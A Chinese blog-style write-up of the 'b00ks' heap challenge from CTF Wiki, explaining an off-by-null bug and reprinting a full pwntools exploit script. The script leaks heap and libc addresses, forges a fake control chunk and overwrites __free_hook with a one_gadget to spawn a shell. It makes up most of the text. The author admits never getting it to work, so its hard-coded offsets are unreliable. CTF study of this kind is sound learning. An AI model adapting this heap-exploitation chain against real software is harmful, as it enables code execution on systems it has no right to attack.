这是wiki在介绍off by null 演示的那道经典题目
第一步,分析代码
堆题的典型例子,菜单模板。前面我们根据每个函数的不同功能对函数进行命名。
最主要分析完add函数和print函数我们就可以知道整个流程,存储的形式。
这两个理清,其他函数都能理清了。
二 漏洞
三 利用
1.存在off by null 漏洞,第一步输入名字的时候就会覆盖到下一控制堆块,然后控制堆块存放堆块地址。所以我们先输入名字输满,然后创造一个块,\x00就会被覆盖然后打印出来就会把堆的地址打印出来。
2.通过调试,我们可以知道控制堆块的偏移,就可以知道下一个控制堆块的地址。
3.我们再申请一个大于128kb的堆空间,因为会调用mmp,然后mmp之后是跟libc息息相关的,为接下来攻击做准备
4.我们发现函数里还有一个changename的函数,再利用它把name填满,让控制堆块的地址刚好指向我们的description地址
5.通过description我们伪造假的控制堆块,就是第二个控制堆块。
6.通过打印就可以把mmp得到的堆块的地址打印出来
7.然后得到libc,再去找free_hook()函数进行
我就还是放wiki的exp好了,换个其他博主看来的好了,我反正没调试成功,前几天刚好放了几天假期,打了好几天游戏,这道题目就拖了很久,先告一段落吧,以后再来调试调试,其实堆的题目,主要是漏洞的难找(个人感觉)这要很好的c语言功底,然后这个很需要锻炼!!!!然而我的功底很差,我相信以后会好起来的。
from pwn import *
context.log_level = 'debug'
binary = './b00ks'
elf = ELF(binary)
libc = elf.libc
local = 1
if local:
p = process(binary)
else:
p = remote('')
def add(name_size, name, description_size, description):
p.sendlineafter('> ', '1')
p.sendlineafter(': ', str(name_size))
p.sendlineafter(': ', name)
p.sendlineafter(': ', str(description_size))
p.sendlineafter(': ', description)
def free(index):
p.sendlineafter('> ', '2')
p.sendlineafter(': ', str(index))
def edit(index, description):
p.sendlineafter('> ', '3')
p.sendlineafter(': ', str(index))
p.sendlineafter(': ', description)
def show():
p.sendlineafter('> ', '4')
def change_name(name):
p.sendlineafter('> ', '5')
p.sendlineafter(': ', name)
gdb.attach(p)
p.sendlineafter(': ', 'a'*0x20)
add(0x90, 'aaaa', 0x90, 'bbbb')
show()
p.recvuntil('a'*0x20)
book1_control_ptr = u64(p.recvuntil('\x0a')[:-1].ljust(8, '\x00'))
book2_control_ptr = book1_control_ptr + 0x30
success('book1_control_ptr -> {}'.format(hex(book1_control_ptr)))
add(0x21000, 'cccc', 0x21000, 'dddd')
payload = 'a' * 0x40 + p64(1) + p64(book2_control_ptr + 8) * 2 + p64(0x1000)
edit(1, payload)
pause()
change_name('a'*0x20)
show()
p.recvuntil('Name: ')
book2_name_ptr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = book2_name_ptr - 0x5ab010
success('book2_name_ptr -> {}'.format(hex(book2_name_ptr)))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4527a
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
edit(1, p64(bin_sh) + p64(free_hook))
# pause()
edit(2, p64(one_gadget))
# pause()
free(2)
p.interactive()